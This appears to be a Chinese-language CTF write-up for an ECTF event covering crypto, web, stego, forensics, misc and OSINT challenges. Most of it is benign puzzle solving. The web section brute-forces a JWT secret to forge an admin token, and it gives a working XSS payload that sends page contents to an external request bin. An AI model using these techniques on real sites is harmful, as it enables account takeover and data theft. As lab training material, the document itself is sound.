1. Cryptography(密码学)
ASCII me anything but not the flag
根据它的提示,我们先将这段内容用ASCII解码,得到:
1 | 108 100 111 109 123 85 99 49 122 95 106 53 95 79 111 51 95 88 52 116 95 48 109 95 51 111 88 121 90 107 97 106 48 105 125 10 10 69 98 111 98 32 102 112 32 118 108 114 111 32 104 98 118 44 32 100 108 108 97 32 105 114 122 104 32 58 32 72 66 86 72 66 86 10 10 87 101 108 108 32 100 111 110 101 44 32 98 117 116 32 110 111 119 32 100 111 32 121 111 117 32 107 110 111 119 32 97 98 111 117 116 32 116 104 101 32 103 117 121 32 119 104 111 32 103 111 116 32 115 116 97 98 98 101 100 32 50 51 32 116 105 109 101 115 32 63 |
第三段的指的是凯撒大帝被刺杀的事件:
所以我们尝试遍历前两段的凯撒加密结果,但只有第二段可以得到有用信息:
1 | Here is your key, good luck : KEYKEY |
可以得知密钥为:”HBVHBV“(我一开始以为密码就是KEYKEY)。由于第一段括号前的内容为4个字母,刚好对的上”ectf“,所以应该是单表或者多表替换加密。再因为密钥为重复的内容,不难猜测这应该是“Vigenere 维吉尼亚密码”。于是找个在线的解密网页(https://planetcalc.com/2468/#google_vignette)便可以得到flag:
1 | ectf{th1s_i5_th3_w4y_0f_3ncrypti0n} |
OIIAIOIIIAI 😼
由于知道这次比赛的flag格式为ectf{},所以不难发现这串字符的偶数位应该是flag的开头,也就是:
1 | ectf{y0U_5p1N_M3 |
而由于}在字符串开头,所以猜测基数位的倒序为flag的后半部分:
1 | R1GhT_R0unD_B4bY} |
拼在一起得到flag:
1 | ectf{y0U_5p1N_M3_R1GhT_R0unD_B4bY} |
Hashes Binder
首先会下载得到3个文件:
由于这份Excel文件被设置了密码保护,所以我们尝试用这个wordlist里的内容来爆破它:
1 | import msoffcrypto |
打开Excel文件后会看到3部分内容
1 | Part 1 |
首先注意到第2,3部分非常像base64编码内容,于是尝试解码,第三部分会成功解出来:
1 | prescription |
第二部分则提示解码失败,所以我们尝试其他base解码,最后用base58成功解码得到:
1 | digestive |
第一部分则非常像哈希加密的结果,所以我们用这个网站试一下能不能破解
https://hashes.com/en/decrypt/hash
提示破解成功,原文为spooky,并且使用的算法是Gost Hash。(spooky其实也在这个wordlist.txt里,所以理论上来说这一步也可以用爆破得到。)
于是用
1 | dolphin_spooky_digestive_prescription |
成功解压.zip压缩包得到flag:
1 | ECTF{J0nH_tH3_Cr4ck3R_95234826} |
RSA intro
这道题我们会得到以下内容:
1 | n = 1184757578872726401875541948122658312538049254193811194706693679652903378440466755792536161053191231432973156335040510349121778456628168943028766026325269453310699198719079556693102485413885649073042144349442001704335216057511775363148519784811675479570531670763418634378774880394019792620389776531074083392140830437849497447329664549296428813777546855940919082901504207170768426813757805483319503728328687467699567371168782338826298888423104758901089557046371665629255777197328691825066749074347103563098441361558833400318385188377678083115037778182654607468940072820501076215527837271902427707151244226579090790964814802124666768804586924537209470827885832840263287617652116022064863681106011820233657970964986092799261540575771674176693421056457946384672759579487892764356140012868139174882562700663398653410810939857286089056807943991134484292518274473171647231470366805379774254724269612848224383658855657086251162811678080812135302264683778545807214278668333366983221748107612374568726991332801566415332661851729896598399859186545014999769601615937310266497300349207439222706313193098254004197684614395013043216709335205659801602035088735521560206321305834999363607988482888525092210585343868702766655032190348593070756595867719633492847013620378010952424253098519859359544101947494405255181048550165119679168071637363387551385352023888031983210940358096667928019837327581681936262186049576626435407253113152851511562799379477905913074052917135254673527350886619693800827592241738185465519368503599267554966329609741719839452532720121891782656000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001 |
因为没有其他信息了,所以我们先用 http://www.factordb.com/index.php 试一下暴力分解n:
成功得到n的其中一个因数为5054843。之后就只需要写一段代码解密就可以得到flag:
1 | from Crypto.Util.number import inverse, long_to_bytes |
Cracking the Vault
这道题我们会得到2份文件,一份是python的代码,关于加密算法的,另一份文件则是加密后的结果。
我们首先来看一下加密的具体过程:
1 | import secrets |
我们可以注意到这段代码里有很多多余的内容(指没有真正出现在加密过程中),真正跟加密算法相关的其实只有这一段
1 | for i, char in enumerate(text): |
所以我们只需要逆向一下这个加密逻辑便可以得到flag:
1 | def decryption(encrypted_text): |
Never two without three
我们首先会得到这些内容:
1 | AEBvoE14n2JjDEhaEO5eAGnEFGdXluF2FNJxC01jXNPQX3PVl3T5oOm4DQrVXFXJGDBxEudVC3E5Xuh0oFzY |
直接尝试base64解码会提示失败,所以根据它的提示我们先遍历它的所有凯撒加密然后再解码:
1 | import base64 |
发现这是唯一可以成功解码出来的内容。我们再次尝试用base64解码这段内容会提示失败,所以还是转战其他的base编码,最后再次用base58成功解码得到:
1 | The flag is: ectf{D0_u_l0v3_t4e_crypt0grap413} |
2. Web
Java Weak Token
先简单科普一下JWT:
JWT是一串base64编码,被用.分成3部分。第一部分是header,里面会写使用的算法以及typ(一般都是JWT)。第二部分是Payload,是JWT的核心内容,通常会纪录当前JWT所有者的身份信息。第三部分则是签名,会计算
1 | HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),密钥) |
以确保当前信息的完整性(integrity),真实性(authenticity)。
在这道题我们会首先在目标网站里得到我们的JWT(我们每次访问网站都会得到一个新的JWT):
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJleHAiOjE3MzgzNTcwMDV9.0dmdQRyyCngN1JJTVoVVk5WYqz0I44yBvWHyUEMXTzM |
用 https://jwt.io/ 分析一下:
可以看到,Payload里有一个名为”username“的值当前被设置为“user”,我们猜测只需要将其改成“admin”并且用其再次访问网站即可获得flag。
根据题目的提示,我们先将这个JWT的密钥给爆破出来:
1 | import jwt |
用这个网站将我们的JWT的payload改成“admin”
之后再用这个新的JWT访问网站即可得到flag:
1 | ectf{JwT_T0keN_cR34t0r} |
Chat with the admin
这道题比较明显地暗示了我们需要用xss攻击来获取flag。我们首先在 https://pipedream.com/ 创建一个Request Bin(创建临时的 HTTP 端点,用于捕获和检查传入的 HTTP 请求。),
然后在对话框里输入以下内容即可:
1 | <script>fetch('http://instances.ectf.fr:11111/').then(response => response.text()).then(text => document.location="https://xxxxxxxxxxxx.m.pipedream.net?flag="+btoa(encodeURIComponent(text)))</script> |
之后便会在Request Bin的访问纪录里查看flag:
1 | ECTF{Cook13_st0L3n_5ucc3ssfuLLy} |
3. Steganography(隐写)
Definitely not in the PDF
将下载的压缩包解压会得到一份pdf文件:
/Stega_-_Definitely_not_in_the_PDF/world_flags.jpg)
并没有任何发现,再根据他一直说的“flag”不在这里,于是决定去看一开始的压缩包。果然在文件结尾发现flag:
1 | ECTF{W3lL_d0nE_652651663616263} |
JB1804
我们会得到一份乐谱:
通过检查发现它并没有隐写任何内容在hex文件里,抑或是LSB隐写。
通过谷歌搜索“music Steganography 1804”可以发现这个维基词条:
点进去之后搜索“1804”会发现Johann Bücking在1804年发明了一种乐谱密码:
根据这张密码表解码会得到:
1 | ectf{steganomousiqueissuperswag} |
(法语中的“音乐“是”musique“,所以flag的内容为stegano mousique is super swag。)
The island’s treasure
下载文件会得到2张图片:
首先用010 Editor打开第一张图片会发现
在Description后面有一段base64编码
1 | UnNPcGJHbGphWFJoZEdsdmJuTWdJU0JVZFNCaGN5QjBjbTkxZHNPcElHeGhJR05zdzZrZ2JzS3dNU0JrZFNCamIyWm1jbVVnSVEwS1EyOXVaM0poZEhWc1lYUnBiMjV6SUNFZ1dXOTFJR1p2ZFc1a0lIUm9aU0JyWlhrZ2JzS3dNU0J2WmlCMGFHVWdZMmhsYzNRZ0lRMEtRMnpEcVRvZ1RUTjBOR1EwZERSZk1UVmZiakIwWHpWaFpqTU5Da3RsZVRvZ1RUTjBOR1EwZERSZk1UVmZiakIwWHpWaFpqTT0= |
解码后会得到
1 | RsOpbGljaXRhdGlvbnMgISBUdSBhcyB0cm91dsOpIGxhIGNsw6kgbsKwMSBkdSBjb2ZmcmUgIQ0KQ29uZ3JhdHVsYXRpb25zICEgWW91IGZvdW5kIHRoZSBrZXkgbsKwMSBvZiB0aGUgY2hlc3QgIQ0KQ2zDqTogTTN0NGQ0dDRfMTVfbjB0XzVhZjMNCktleTogTTN0NGQ0dDRfMTVfbjB0XzVhZjM= |
再解码一次会得到key1:
1 | Félicitations ! Tu as trouvé la clé n°1 du coffre ! |
因为hex文件里面看起来找不到第二段key了,所以我们用Stegsolve.jar打开这张图片查看是否有用LSB隐写的内容。当调整到Red Plane 0时会得到
我们将这张照片导出会得到第二部分的key(key2):
1 | key1: M3t4d4t4_15_n0t_5af3 |
然后我们现在来打开箱子:根据提示,支持加密隐写并且有GUI的软件并不多,所以我们来试一下OpenStego:
提取出来的照片为:
成功找到flag:
1 | ECTF{You_found_th3_tr3asur3} |
Silhouette in cyberpunk
这道题我们会得到一张图片:
非常赛博风。
注意到这两个地方的点组的排列非常像我们日常生活中(比如说电梯里)会碰到的盲文:
(近点的那栋大楼)
(画面左边远处的那栋大楼)
第一张里面的盲文翻译过来是:
1 | This is just a dummyy, nice try |
而第二张里面的内容才是真正的flag:
1 | ⠓⠼⠁⠙⠙⠼⠉⠝⠼⠁⠝⠹⠼⠉⠙⠼⠙⠗⠅⠝⠼⠉⠎⠎ |
(可以用这个网站翻译盲文内容:https://www.dcode.fr/alphabet-braille)
根据题目的flag格式要求,我们确定flag为:
1 | ectf{h1dd3n_1n_th3_d4rkn3ss} |
4. Miscellaneous
Extraction Mission Heart of the vault
这道题我们会得到一个加密的压缩包Misc_5_-_dwarf_vault_200.zip,将其爆破之后会再次得到一个加密的压缩包dwarf_vault_199.zip,再重复一次操作会得到dwarf_vault_198.zip,也是加密了的。所以我们猜测作者将一份文件(夹)重复加密压缩了200次。所以决定写一个脚本自动化完成这些操作,并且根据提示将所有密码保存进一个txt文件里:
1 | import zipfile |
注意,爆破到dwarf_vault_1.zip经常会返回奇怪的ERROR,所以这里的代码逻辑最好是在遇到意外ERROR时直接终止爆破并将现有的所有密码先写进txt文件,不然容易卡在这里重复很多次。
再成功解压dwarf_vault_1.zip后,我们会得到2份文件:drop_pod.py以及mining_report.txt。
txt文件的内容为:
1 | Mining report - flag coordinates: ectf{[[0, 6], [6, 8], [4, 7], [4, 7], [15, 5], '_', [0, 6], [6, 8], [4, 7], [4, 7], [15, 5], '_', [0, 3], [0, 9], [1, 7], [28, 7]]} |
用coordinate将flag表示了出来。于是来检查drop_pod.py的内容:
1 | #Maybe the flag was the friends we made along the way |
是这段坐标的生成逻辑。所以可以编写一段代码,靠我们刚才保存的所有压缩密码来还原flag:
1 | with open("found_passwords.txt", "r") as file: |
5. Forensic
My dearest
我们会得到一份docx文件,也就是word文件。打开后在信息的作者处即可找到文件作者:
根据题目要求,flag为:
1 | ectf{MichelTeller} |
Capture the hidden
这道题我们会得到一份.pcap文件,用Wireshark打开它。
由于是要找一份文件,我们先点击“文件” -> “导出对象” -> “HTTP”:
确实发现了一份上传的文件。可以点击保存它,但是打开会发现内容不不完整:
1 | data=ZWN0ZntQMDV0XzFzX3YzcnlfMzQ1eV9UMF9GMU5 |
于是我们找这份文件在纪录里的具体位置:
可以看到我们保存的upload的文件内容只有蓝色部分,当我们将后续的内容也提出来,便会得到完整的flag:
1 | data=ZWN0ZntQMDV0XzFzX3YzcnlfMzQ1eV9UMF9GMU5EfQ== |
Just a PCAP
这道题也是一份pcap文件,再次用Wireshark打开。
但是用之前的操作:“文件” -> “导出对象” -> “HTTP”,并不会发现任何东西。(实际上是因为这段纪录里并没有任何HTTP传输的内容。)
这时我们仔细观察第一条纪录的info会发现它是以”89504E47“,这是非常典型的PNG文件的文件头(因为它对应ASCII字符“‰PNG”),所以我们猜测这些纪录的info内容可以拼成一份完整的PNG文件。我们用这段代码将所有纪录的info内容提取出来并且保存成.png:(这段代码能运行的前提条件是下载了Wireshark\的tshark.exe
1 | import pyshark |
然后就会得到这张图片:
1 | ectf{DN5_3xf1ltr@t10n_15_flnd3d} |
6. Osint
Project-153-Q1
这道题我们会得到这张图片:
通过谷歌识图可以很轻易地知道这个地方是:Falls Caramy, 法语原名为Chutes_du_Caramy。
得到flag:
1 | ectf{Chutes_du_Caramy} |
Project-153-Q2
这道题我们会得到这张图片:
通过谷歌识图可以判断出来这张照片是在 Massif de l’Esterel 附近拍摄的。
但由于题目要求的是拍摄时所处的具体位置,所以我们还需要找些其他的线索。
注意到图片远处这里,有一座全是房子的半岛:
于是我们打开Google Earth,查看Massif de l’Esterel附近的海岸线。可以发现这个地方非常想图中的半岛:
并且点开 Calanque de l’Esterel, 83700 Saint-Raphaël, 法国 的相册可以看到这样一张图片:
跟我们图片里的一模一样。沿着这个方向依次尝试带有名字的地点,便可以成功找到拍摄地:Pointe de l’Observatoire, D559, 83700 Saint-Raphaël, 法国。
1 | ectf{Pointe_de_l'Observatoire} |
Project-153-Q3
这道题我们会得到这张图片:
再次通过谷歌识图可以发现图片所在地是 Rocher de Roquebrune:
在Google Earth找到这里
便可以在相册里发现这张图片,大概率是题目所指的“monster:
所以答案为左下角的作者名字。
1 | ectf{Michael_DELAETER} |
Project-153-Q4
首先通过谷歌识图判断出照片所在地应该是:Bormes-les-Mimosas
在Google Earth找到这里:
根据照片拍摄角度以及题目描述不难猜出远处的那座岛应该是 Île du Levant。
1 | ectf{Île_du_Levant} |
Project-153-Q5
这道题我们会得到这张图片:
/OSINT_1_-_question-5/PANO_20220408_134922.jpg)
这道题会碰到一个非常有意思的事情。我们拿到的图片的文件大小为29.8 MB,而谷歌识图的上限为20MB,所以我们首先需要压缩一下图片的大小才能使用谷歌识图。我这里是用微信来进行有损压缩的。
然后便可以用谷歌识图来确认地点:
1 | ectf{Gros_Cerveau} |
(在法语中,“le” 是阳性单数定冠词,所以不包含在答案内。)
Project-153-Q6
这道题我们会得到这张图片:
再次通过谷歌识图我们可以找到这样一条Instergram:
(为了防止侵犯个人隐私我给图片打了个码。)
于是可以得知这张照片的拍摄所在地为 Moustiers-Sainte-Marie (zipcode:04360)。
至于台阶数可以直接利用开了联网功能的ChatGPT所搜即可:
最后的flag为:
1 | ectf{262_04360} |
PNJ - 3 - Gouzou
这道题我们会得到一个文件夹,里面有非常多的文件,它说的这个“the”属实是有点意义不明,所以我们先去搜索看一下GOUZOU是什么:
发现是法国艺术家JACE创作一个没有五官的诙谐卡通形象。根据这条线索我们可以锁定这张图片(也就是说我们需要找的应该是这张图片的具体位置):
根据谷歌识图可以发现这张照片在 “Île de Ré”(雷岛):
通过搜索“île de ré gouzou”可以找到这个网页:https://www.realahune.fr/les-murs-dexpression-de-latlantique/,并且发现:
于是我们确定这幅画是在”la digue du Boutillon, île de Ré”(是一座防波堤),得到flag:
1 | ectf{digue_du_boutillon} |